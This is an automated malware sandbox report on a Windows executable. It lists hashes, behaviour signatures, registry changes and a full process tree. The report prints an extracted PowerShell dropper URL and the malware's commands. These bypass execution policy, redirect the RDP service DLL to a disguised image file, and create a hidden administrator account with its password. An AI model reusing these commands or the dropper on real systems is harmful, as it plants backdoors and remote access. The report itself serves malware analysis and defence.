3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd

Analysis

max time kernel
58s
max time network
100s
platform
windows10_x64
resource
win10v20210408
submitted
11-06-2021 14:59

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General

Target

20f307c716a689f4afa3a76b7143db22.exe
Size

6.0MB
MD5

20f307c716a689f4afa3a76b7143db22
SHA1

2fd6796fd158c93b14654240533511af6fec03e5
SHA256

3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd
SHA512

0a8d1b2d0cbd3860df907eb692aa2d775f021822b4d856c051d84e8056a2c1cf893bab68f471b69db0615341dd2dfe78dfac1b79d2239217cfbdf71bfb84061b

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
15	212	powershell.exe
17	212	powershell.exe
18	212	powershell.exe
19	212	powershell.exe
21	212	powershell.exe
23	212	powershell.exe
25	212	powershell.exe
27	212	powershell.exe
29	212	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000001ab2c-223.dat	upx
behavioral2/files/0x000600000001ab2d-224.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
4012	Process not Found
4012	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_wgyjbpvf.l0f.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID317.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID328.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID269.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID2F6.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGID327.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_jag502fc.aqf.psm1	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1728	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
1588	powershell.exe
1588	powershell.exe
1588	powershell.exe
1264	powershell.exe
1264	powershell.exe
1264	powershell.exe
2160	powershell.exe
2160	powershell.exe
2160	powershell.exe
3028	powershell.exe
3028	powershell.exe
3028	powershell.exe
212	powershell.exe
212	powershell.exe
212	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
636	Process not Found
636	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeIncreaseQuotaPrivilege	1588	powershell.exe
Token: SeSecurityPrivilege	1588	powershell.exe
Token: SeTakeOwnershipPrivilege	1588	powershell.exe
Token: SeLoadDriverPrivilege	1588	powershell.exe
Token: SeSystemProfilePrivilege	1588	powershell.exe
Token: SeSystemtimePrivilege	1588	powershell.exe
Token: SeProfSingleProcessPrivilege	1588	powershell.exe
Token: SeIncBasePriorityPrivilege	1588	powershell.exe
Token: SeCreatePagefilePrivilege	1588	powershell.exe
Token: SeBackupPrivilege	1588	powershell.exe
Token: SeRestorePrivilege	1588	powershell.exe
Token: SeShutdownPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeSystemEnvironmentPrivilege	1588	powershell.exe
Token: SeRemoteShutdownPrivilege	1588	powershell.exe
Token: SeUndockPrivilege	1588	powershell.exe
Token: SeManageVolumePrivilege	1588	powershell.exe
Token: 33	1588	powershell.exe
Token: 34	1588	powershell.exe
Token: 35	1588	powershell.exe
Token: 36	1588	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	powershell.exe
Token: SeSecurityPrivilege	1264	powershell.exe
Token: SeTakeOwnershipPrivilege	1264	powershell.exe
Token: SeLoadDriverPrivilege	1264	powershell.exe
Token: SeSystemProfilePrivilege	1264	powershell.exe
Token: SeSystemtimePrivilege	1264	powershell.exe
Token: SeProfSingleProcessPrivilege	1264	powershell.exe
Token: SeIncBasePriorityPrivilege	1264	powershell.exe
Token: SeCreatePagefilePrivilege	1264	powershell.exe
Token: SeBackupPrivilege	1264	powershell.exe
Token: SeRestorePrivilege	1264	powershell.exe
Token: SeShutdownPrivilege	1264	powershell.exe
Token: SeDebugPrivilege	1264	powershell.exe
Token: SeSystemEnvironmentPrivilege	1264	powershell.exe
Token: SeRemoteShutdownPrivilege	1264	powershell.exe
Token: SeUndockPrivilege	1264	powershell.exe
Token: SeManageVolumePrivilege	1264	powershell.exe
Token: 33	1264	powershell.exe
Token: 34	1264	powershell.exe
Token: 35	1264	powershell.exe
Token: 36	1264	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeIncreaseQuotaPrivilege	2160	powershell.exe
Token: SeSecurityPrivilege	2160	powershell.exe
Token: SeTakeOwnershipPrivilege	2160	powershell.exe
Token: SeLoadDriverPrivilege	2160	powershell.exe
Token: SeSystemProfilePrivilege	2160	powershell.exe
Token: SeSystemtimePrivilege	2160	powershell.exe
Token: SeProfSingleProcessPrivilege	2160	powershell.exe
Token: SeIncBasePriorityPrivilege	2160	powershell.exe
Token: SeCreatePagefilePrivilege	2160	powershell.exe
Token: SeBackupPrivilege	2160	powershell.exe
Token: SeRestorePrivilege	2160	powershell.exe
Token: SeShutdownPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeSystemEnvironmentPrivilege	2160	powershell.exe
Token: SeRemoteShutdownPrivilege	2160	powershell.exe
Token: SeUndockPrivilege	2160	powershell.exe
Token: SeManageVolumePrivilege	2160	powershell.exe
Token: 33	2160	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 668 wrote to memory of 3028	668	20f307c716a689f4afa3a76b7143db22.exe	75
PID 668 wrote to memory of 3028	668	20f307c716a689f4afa3a76b7143db22.exe	75
PID 3028 wrote to memory of 3744	3028	powershell.exe	77
PID 3028 wrote to memory of 3744	3028	powershell.exe	77
PID 3744 wrote to memory of 2392	3744	csc.exe	78
PID 3744 wrote to memory of 2392	3744	csc.exe	78
PID 3028 wrote to memory of 1588	3028	powershell.exe	81
PID 3028 wrote to memory of 1588	3028	powershell.exe	81
PID 3028 wrote to memory of 1264	3028	powershell.exe	85
PID 3028 wrote to memory of 1264	3028	powershell.exe	85
PID 3028 wrote to memory of 2160	3028	powershell.exe	87
PID 3028 wrote to memory of 2160	3028	powershell.exe	87
PID 3028 wrote to memory of 3724	3028	powershell.exe	89
PID 3028 wrote to memory of 3724	3028	powershell.exe	89
PID 3028 wrote to memory of 1728	3028	powershell.exe	90
PID 3028 wrote to memory of 1728	3028	powershell.exe	90
PID 3028 wrote to memory of 2364	3028	powershell.exe	91
PID 3028 wrote to memory of 2364	3028	powershell.exe	91
PID 3028 wrote to memory of 2228	3028	powershell.exe	92
PID 3028 wrote to memory of 2228	3028	powershell.exe	92
PID 2228 wrote to memory of 2236	2228	net.exe	93
PID 2228 wrote to memory of 2236	2228	net.exe	93
PID 3028 wrote to memory of 3892	3028	powershell.exe	94
PID 3028 wrote to memory of 3892	3028	powershell.exe	94
PID 3892 wrote to memory of 512	3892	cmd.exe	95
PID 3892 wrote to memory of 512	3892	cmd.exe	95
PID 512 wrote to memory of 4020	512	cmd.exe	96
PID 512 wrote to memory of 4020	512	cmd.exe	96
PID 4020 wrote to memory of 2360	4020	net.exe	97
PID 4020 wrote to memory of 2360	4020	net.exe	97
PID 3028 wrote to memory of 2016	3028	powershell.exe	98
PID 3028 wrote to memory of 2016	3028	powershell.exe	98
PID 2016 wrote to memory of 2144	2016	cmd.exe	99
PID 2016 wrote to memory of 2144	2016	cmd.exe	99
PID 2144 wrote to memory of 1276	2144	cmd.exe	100
PID 2144 wrote to memory of 1276	2144	cmd.exe	100
PID 1276 wrote to memory of 2232	1276	net.exe	101
PID 1276 wrote to memory of 2232	1276	net.exe	101
PID 3744 wrote to memory of 3576	3744	cmd.exe	105
PID 3744 wrote to memory of 3576	3744	cmd.exe	105
PID 3576 wrote to memory of 1588	3576	net.exe	106
PID 3576 wrote to memory of 1588	3576	net.exe	106
PID 560 wrote to memory of 2088	560	cmd.exe	109
PID 560 wrote to memory of 2088	560	cmd.exe	109
PID 2088 wrote to memory of 2500	2088	net.exe	110
PID 2088 wrote to memory of 2500	2088	net.exe	110
PID 2792 wrote to memory of 3120	2792	cmd.exe	113
PID 2792 wrote to memory of 3120	2792	cmd.exe	113
PID 3120 wrote to memory of 188	3120	net.exe	114
PID 3120 wrote to memory of 188	3120	net.exe	114
PID 2768 wrote to memory of 4056	2768	cmd.exe	117
PID 2768 wrote to memory of 4056	2768	cmd.exe	117
PID 4056 wrote to memory of 3964	4056	net.exe	118
PID 4056 wrote to memory of 3964	4056	net.exe	118
PID 2308 wrote to memory of 1588	2308	cmd.exe	121
PID 2308 wrote to memory of 1588	2308	cmd.exe	121
PID 1588 wrote to memory of 656	1588	net.exe	122
PID 1588 wrote to memory of 656	1588	net.exe	122
PID 760 wrote to memory of 2504	760	cmd.exe	125
PID 760 wrote to memory of 2504	760	cmd.exe	125
PID 2504 wrote to memory of 1608	2504	net.exe	126
PID 2504 wrote to memory of 1608	2504	net.exe	126
PID 1232 wrote to memory of 2160	1232	cmd.exe	129
PID 1232 wrote to memory of 2160	1232	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe
"C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3028
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\swcgawoz\swcgawoz.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES79D9.tmp" "c:\Users\Admin\AppData\Local\Temp\swcgawoz\CSC2C10604955244B3BB8E4FF5CA2DE646.TMP"
      4⤵
      PID:2392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3724
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1728
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:2364
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2236
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3892
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:512
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4020
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2360
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2144
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1276
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2232
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:2164
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:2172

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1588

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 9gM25Ibj /add
1⤵
- Suspicious use of WriteProcessMemory
PID:560
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 9gM25Ibj /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 9gM25Ibj /add
    3⤵
    PID:2500

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:188

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:3964

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:656

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 9gM25Ibj
1⤵
- Suspicious use of WriteProcessMemory
PID:760
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 9gM25Ibj
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 9gM25Ibj
    3⤵
    PID:1608

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:2160

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3964
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:1728

C:\Windows\System32\cmd.exe
